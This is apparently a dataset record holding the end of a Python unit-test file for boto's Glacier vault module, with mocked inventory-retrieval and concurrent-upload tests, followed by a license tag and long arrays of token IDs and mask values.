desc_resp = GlacierResponse(raw_resp_2, [])
with mock.patch.object(self.vault.layer1, 'initiate_job',
return_value=init_resp):
with mock.patch.object(self.vault.layer1, 'describe_job',
return_value=desc_resp):
# The old/back-compat variant of the call.
self.assertEqual(self.vault.retrieve_inventory(), 'HkF9p6')
# The variant the returns a full ``Job`` object.
job = self.vault.retrieve_inventory_job()
self.assertTrue(isinstance(job, Job))
self.assertEqual(job.id, 'HkF9p6')
class TestConcurrentUploads(unittest.TestCase):
def test_concurrent_upload_file(self):
v = vault.Vault(None, None)
with mock.patch('boto.glacier.vault.ConcurrentUploader') as c:
c.return_value.upload.return_value = 'archive_id'
archive_id = v.concurrent_create_archive_from_file(
'filename', 'my description')
c.return_value.upload.assert_called_with('filename',
'my description')
self.assertEqual(archive_id, 'archive_id')
def test_concurrent_upload_forwards_kwargs(self):
v = vault.Vault(None, None)
with mock.patch('boto.glacier.vault.ConcurrentUploader') as c:
c.return_value.upload.return_value = 'archive_id'
archive_id = v.concurrent_create_archive_from_file(
'filename', 'my description', num_threads=10,
part_size=1024 * 1024 * 1024 * 8)
c.assert_called_with(None, None, num_threads=10,
part_size=1024 * 1024 * 1024 * 8)
if __name__ == '__main__':
unittest.main()
|
mit
|
[
3381,
2647,
15,
1393,
15,
1813,
2366,
199,
3,
1898,
334,
67,
9,
6029,
14347,
14,
957,
12,
3277,
14,
503,
2399,
29172,
2335,
14,
221,
2900,
5924,
5702,
199,
3,
199,
3,
8779,
365,
11882,
10009,
12,
2867,
402,
11204,
12,
370,
1263,
4954,
12408,
282,
199,
3,
1331,
402,
642,
2032,
436,
4568,
3794,
1584,
334,
1589,
199,
3,
298,
10337,
1288,
370,
7962,
315,
314,
2290,
1928,
10588,
12,
5893,
199,
3,
1928,
12305,
314,
4481,
370,
675,
12,
1331,
12,
2811,
12,
5389,
12,
2780,
12,
2153,
13,
199,
3,
28420,
12,
13473,
12,
436,
15,
269,
12743,
6866,
402,
314,
2290,
12,
436,
370,
11291,
199,
3,
12103,
370,
12676,
314,
2290,
365,
13985,
370,
886,
880,
12,
5420,
370,
314,
1699,
13,
199,
3,
28486,
3704,
26,
199,
3,
199,
3,
710,
3432,
4248,
4245,
436,
642,
4983,
4245,
10989,
506,
5120,
199,
3,
315,
1006,
6866,
503,
13393,
12468,
402,
314,
2290,
14,
199,
3,
199,
3,
2334,
4141,
2281,
7049,
298,
1179,
2281,
401,
2428,
3408,
1634,
1821,
3826,
12,
7168,
199,
3,
1549,
5292,
12,
6931,
5400,
2845,
5471,
2296,
2334,
2990,
1634,
28471,
13,
199,
3,
28463,
12,
3092,
2381,
437,
3115,
3104,
2401,
13229,
14,
1621,
4825,
6461,
199,
3,
7000,
2334,
17632,
6262,
7024,
2381,
1821,
13140,
12,
6736,
1549,
5010,
5603,
12,
199,
3,
7061,
1621,
1261,
9612,
1634,
7066,
12,
7056,
1549,
7334,
12,
7043,
4442,
12,
199,
3,
5738,
1634,
1549,
1621,
11287,
1663,
2334,
4141,
1549,
2334,
4815,
1549,
5010,
13198,
199,
3,
1621,
2334,
4141,
14,
199,
3,
199,
646,
2882,
199,
504,
15073,
492,
5228,
199,
199,
646,
1683,
199,
504,
1683,
492,
1821,
199,
199,
504,
6055,
14,
71,
19976,
281,
492,
12738,
199,
504,
6055,
14,
71,
19976,
281,
14,
2423,
492,
15057,
199,
504,
6055,
14,
71,
19976,
281,
14,
1310,
492,
598,
19976,
281,
2364,
421,
199,
533,
1379,
20229,
8,
2796,
14,
1746,
304,
272,
347,
3613,
8,
277,
304,
267,
291,
14,
890,
63,
2068,
275,
1683,
14,
2068,
360,
736,
14,
515,
14,
20733,
358,
267,
291,
14,
20733,
275,
291,
14,
890,
63,
2068,
14,
928,
342,
267,
291,
14,
1246,
275,
1683,
14,
3346,
342,
267,
291,
14,
10077,
275,
12738,
14,
20229,
8,
277,
14,
1246,
12,
488,
9,
267,
291,
14,
10077,
14,
354,
275,
283,
1662,
10077,
7,
267,
291,
14,
1805,
63,
1490,
275,
1683,
14,
1805,
63,
1490,
342,
267,
1059,
2308,
275,
5228,
360,
1317,
358,
267,
291,
14,
1805,
63,
1490,
14,
1107,
63,
585,
14,
739,
275,
1059,
2308,
14,
739,
339,
347,
6766,
8,
277,
304,
267,
291,
14,
890,
63,
2068,
14,
2379,
342,
339,
347,
511,
63,
5064,
63,
6404,
63,
7241,
63,
493,
8,
277,
304,
267,
291,
14,
20733,
14,
1107,
63,
585,
275,
413,
398,
291,
14,
1246,
14,
5064,
63,
6404,
14,
1107,
63,
585,
275,
791,
13042,
1304,
356,
283,
6404,
63,
344,
936,
267,
543,
1683,
14,
2068,
360,
10914,
14,
71,
19976,
281,
14,
10077,
14,
1490,
297,
291,
14,
1805,
63,
1490,
12,
717,
1218,
29,
549,
304,
288,
6359,
63,
344,
275,
291,
14,
10077,
14,
5064,
63,
6404,
8,
355,
283,
1501,
297,
283,
1662,
1369,
358,
267,
291,
14,
629,
8,
6404,
63,
344,
12,
283,
6404,
63,
344,
358,
267,
291,
14,
1246,
14,
5064,
63,
6404,
14,
479,
63,
3527,
63,
1045,
8,
288,
283,
1662,
10077,
297,
291,
14,
1805,
63,
1490,
14,
1107,
63,
585,
12,
288,
1683,
14,
8974,
12,
1683,
14,
8974,
12,
283,
1662,
1369,
358,
339,
347,
511,
63,
7241,
63,
2064,
63,
890,
63,
374,
63,
79,
32236,
379,
8,
277,
304,
267,
291,
14,
10077,
14,
2698,
8416,
2320,
275,
499,
627,
6619,
627,
6619,
267,
291,
14,
10077,
14,
981,
63,
6404,
63,
5491,
275,
1683,
14,
3346,
342,
398,
291,
14,
20733,
14,
1107,
63,
585,
275,
413,
398,
543,
1683,
14,
2068,
360,
10914,
14,
71,
19976,
281,
14,
10077,
14,
1490,
297,
291,
14,
1805,
63,
1490,
12,
717,
1218,
29,
549,
304,
288,
291,
14,
10077,
14,
981,
63,
6404,
63,
504,
63,
493,
360,
29384,
358,
267,
327,
710,
2218,
1077,
506,
2737,
543,
314,
849,
1777,
1568,
402,
314,
267,
327,
1256,
334,
18,
19487,
680,
267,
291,
14,
10077,
14,
981,
63,
6404,
63,
5491,
14,
479,
63,
3527,
63,
1045,
8,
355,
1369,
29,
1805,
14,
8974,
12,
1777,
63,
890,
29,
277,
14,
10077,
14,
2698,
8416,
2320,
9,
339,
347,
511,
63,
9629,
63,
2064,
63,
890,
63,
374,
63,
79,
32236,
379,
8,
277,
304,
267,
291,
14,
10077,
14,
2698,
8416,
2320,
275,
1695,
627,
6619,
627,
6619,
267,
291,
14,
10077,
14,
981,
63,
6404,
63,
5491,
275,
1683,
14,
3346,
342,
267,
291,
14,
20733,
14,
1107,
63,
585,
275,
413,
267,
543,
1683,
14,
2068,
360,
10914,
14,
71,
19976,
281,
14,
10077,
14,
1490,
297,
291,
14,
1805,
63,
1490,
12,
717,
1218,
29,
549,
304,
288,
291,
14,
10077,
14,
981,
63,
6404,
63,
504,
63,
493,
360,
29384,
358,
267,
327,
710,
2218,
1077,
506,
2737,
543,
314,
849,
1777,
1568,
402,
314,
267,
327,
1256,
334,
24,
19487,
680,
267,
291,
14,
10077,
14,
981,
63,
6404,
63,
5491,
14,
479,
63,
3527,
63,
1045,
8,
288,
1369,
29,
1805,
14,
8974,
12,
1777,
63,
890,
29,
277,
14,
10077,
14,
2698,
8416,
2320,
9,
339,
347,
511,
63,
2064,
63,
890,
63,
10065,
63,
475,
63,
1235,
63,
23395,
8,
277,
304,
267,
327,
982,
781,
1172,
282,
7031,
570,
334,
5303,
18553,
9,
267,
291,
14,
20733,
14,
1107,
63,
585,
275,
8290,
627,
6619,
627,
6619,
627,
6619,
267,
291,
14,
10077,
14,
981,
63,
6404,
63,
5491,
275,
1683,
14,
3346,
342,
267,
327,
3979,
781,
862,
370,
5802,
314,
570,
14,
267,
543,
1683,
14,
2068,
360,
10914,
14,
71,
19976,
281,
14,
10077,
14,
1490,
297,
291,
14,
1805,
63,
1490,
12,
717,
1218,
29,
549,
304,
288,
291,
14,
10077,
14,
981,
63,
6404,
63,
504,
63,
493
] |
[
2647,
15,
1393,
15,
1813,
2366,
199,
3,
1898,
334,
67,
9,
6029,
14347,
14,
957,
12,
3277,
14,
503,
2399,
29172,
2335,
14,
221,
2900,
5924,
5702,
199,
3,
199,
3,
8779,
365,
11882,
10009,
12,
2867,
402,
11204,
12,
370,
1263,
4954,
12408,
282,
199,
3,
1331,
402,
642,
2032,
436,
4568,
3794,
1584,
334,
1589,
199,
3,
298,
10337,
1288,
370,
7962,
315,
314,
2290,
1928,
10588,
12,
5893,
199,
3,
1928,
12305,
314,
4481,
370,
675,
12,
1331,
12,
2811,
12,
5389,
12,
2780,
12,
2153,
13,
199,
3,
28420,
12,
13473,
12,
436,
15,
269,
12743,
6866,
402,
314,
2290,
12,
436,
370,
11291,
199,
3,
12103,
370,
12676,
314,
2290,
365,
13985,
370,
886,
880,
12,
5420,
370,
314,
1699,
13,
199,
3,
28486,
3704,
26,
199,
3,
199,
3,
710,
3432,
4248,
4245,
436,
642,
4983,
4245,
10989,
506,
5120,
199,
3,
315,
1006,
6866,
503,
13393,
12468,
402,
314,
2290,
14,
199,
3,
199,
3,
2334,
4141,
2281,
7049,
298,
1179,
2281,
401,
2428,
3408,
1634,
1821,
3826,
12,
7168,
199,
3,
1549,
5292,
12,
6931,
5400,
2845,
5471,
2296,
2334,
2990,
1634,
28471,
13,
199,
3,
28463,
12,
3092,
2381,
437,
3115,
3104,
2401,
13229,
14,
1621,
4825,
6461,
199,
3,
7000,
2334,
17632,
6262,
7024,
2381,
1821,
13140,
12,
6736,
1549,
5010,
5603,
12,
199,
3,
7061,
1621,
1261,
9612,
1634,
7066,
12,
7056,
1549,
7334,
12,
7043,
4442,
12,
199,
3,
5738,
1634,
1549,
1621,
11287,
1663,
2334,
4141,
1549,
2334,
4815,
1549,
5010,
13198,
199,
3,
1621,
2334,
4141,
14,
199,
3,
199,
646,
2882,
199,
504,
15073,
492,
5228,
199,
199,
646,
1683,
199,
504,
1683,
492,
1821,
199,
199,
504,
6055,
14,
71,
19976,
281,
492,
12738,
199,
504,
6055,
14,
71,
19976,
281,
14,
2423,
492,
15057,
199,
504,
6055,
14,
71,
19976,
281,
14,
1310,
492,
598,
19976,
281,
2364,
421,
199,
533,
1379,
20229,
8,
2796,
14,
1746,
304,
272,
347,
3613,
8,
277,
304,
267,
291,
14,
890,
63,
2068,
275,
1683,
14,
2068,
360,
736,
14,
515,
14,
20733,
358,
267,
291,
14,
20733,
275,
291,
14,
890,
63,
2068,
14,
928,
342,
267,
291,
14,
1246,
275,
1683,
14,
3346,
342,
267,
291,
14,
10077,
275,
12738,
14,
20229,
8,
277,
14,
1246,
12,
488,
9,
267,
291,
14,
10077,
14,
354,
275,
283,
1662,
10077,
7,
267,
291,
14,
1805,
63,
1490,
275,
1683,
14,
1805,
63,
1490,
342,
267,
1059,
2308,
275,
5228,
360,
1317,
358,
267,
291,
14,
1805,
63,
1490,
14,
1107,
63,
585,
14,
739,
275,
1059,
2308,
14,
739,
339,
347,
6766,
8,
277,
304,
267,
291,
14,
890,
63,
2068,
14,
2379,
342,
339,
347,
511,
63,
5064,
63,
6404,
63,
7241,
63,
493,
8,
277,
304,
267,
291,
14,
20733,
14,
1107,
63,
585,
275,
413,
398,
291,
14,
1246,
14,
5064,
63,
6404,
14,
1107,
63,
585,
275,
791,
13042,
1304,
356,
283,
6404,
63,
344,
936,
267,
543,
1683,
14,
2068,
360,
10914,
14,
71,
19976,
281,
14,
10077,
14,
1490,
297,
291,
14,
1805,
63,
1490,
12,
717,
1218,
29,
549,
304,
288,
6359,
63,
344,
275,
291,
14,
10077,
14,
5064,
63,
6404,
8,
355,
283,
1501,
297,
283,
1662,
1369,
358,
267,
291,
14,
629,
8,
6404,
63,
344,
12,
283,
6404,
63,
344,
358,
267,
291,
14,
1246,
14,
5064,
63,
6404,
14,
479,
63,
3527,
63,
1045,
8,
288,
283,
1662,
10077,
297,
291,
14,
1805,
63,
1490,
14,
1107,
63,
585,
12,
288,
1683,
14,
8974,
12,
1683,
14,
8974,
12,
283,
1662,
1369,
358,
339,
347,
511,
63,
7241,
63,
2064,
63,
890,
63,
374,
63,
79,
32236,
379,
8,
277,
304,
267,
291,
14,
10077,
14,
2698,
8416,
2320,
275,
499,
627,
6619,
627,
6619,
267,
291,
14,
10077,
14,
981,
63,
6404,
63,
5491,
275,
1683,
14,
3346,
342,
398,
291,
14,
20733,
14,
1107,
63,
585,
275,
413,
398,
543,
1683,
14,
2068,
360,
10914,
14,
71,
19976,
281,
14,
10077,
14,
1490,
297,
291,
14,
1805,
63,
1490,
12,
717,
1218,
29,
549,
304,
288,
291,
14,
10077,
14,
981,
63,
6404,
63,
504,
63,
493,
360,
29384,
358,
267,
327,
710,
2218,
1077,
506,
2737,
543,
314,
849,
1777,
1568,
402,
314,
267,
327,
1256,
334,
18,
19487,
680,
267,
291,
14,
10077,
14,
981,
63,
6404,
63,
5491,
14,
479,
63,
3527,
63,
1045,
8,
355,
1369,
29,
1805,
14,
8974,
12,
1777,
63,
890,
29,
277,
14,
10077,
14,
2698,
8416,
2320,
9,
339,
347,
511,
63,
9629,
63,
2064,
63,
890,
63,
374,
63,
79,
32236,
379,
8,
277,
304,
267,
291,
14,
10077,
14,
2698,
8416,
2320,
275,
1695,
627,
6619,
627,
6619,
267,
291,
14,
10077,
14,
981,
63,
6404,
63,
5491,
275,
1683,
14,
3346,
342,
267,
291,
14,
20733,
14,
1107,
63,
585,
275,
413,
267,
543,
1683,
14,
2068,
360,
10914,
14,
71,
19976,
281,
14,
10077,
14,
1490,
297,
291,
14,
1805,
63,
1490,
12,
717,
1218,
29,
549,
304,
288,
291,
14,
10077,
14,
981,
63,
6404,
63,
504,
63,
493,
360,
29384,
358,
267,
327,
710,
2218,
1077,
506,
2737,
543,
314,
849,
1777,
1568,
402,
314,
267,
327,
1256,
334,
24,
19487,
680,
267,
291,
14,
10077,
14,
981,
63,
6404,
63,
5491,
14,
479,
63,
3527,
63,
1045,
8,
288,
1369,
29,
1805,
14,
8974,
12,
1777,
63,
890,
29,
277,
14,
10077,
14,
2698,
8416,
2320,
9,
339,
347,
511,
63,
2064,
63,
890,
63,
10065,
63,
475,
63,
1235,
63,
23395,
8,
277,
304,
267,
327,
982,
781,
1172,
282,
7031,
570,
334,
5303,
18553,
9,
267,
291,
14,
20733,
14,
1107,
63,
585,
275,
8290,
627,
6619,
627,
6619,
627,
6619,
267,
291,
14,
10077,
14,
981,
63,
6404,
63,
5491,
275,
1683,
14,
3346,
342,
267,
327,
3979,
781,
862,
370,
5802,
314,
570,
14,
267,
543,
1683,
14,
2068,
360,
10914,
14,
71,
19976,
281,
14,
10077,
14,
1490,
297,
291,
14,
1805,
63,
1490,
12,
717,
1218,
29,
549,
304,
288,
291,
14,
10077,
14,
981,
63,
6404,
63,
504,
63,
493,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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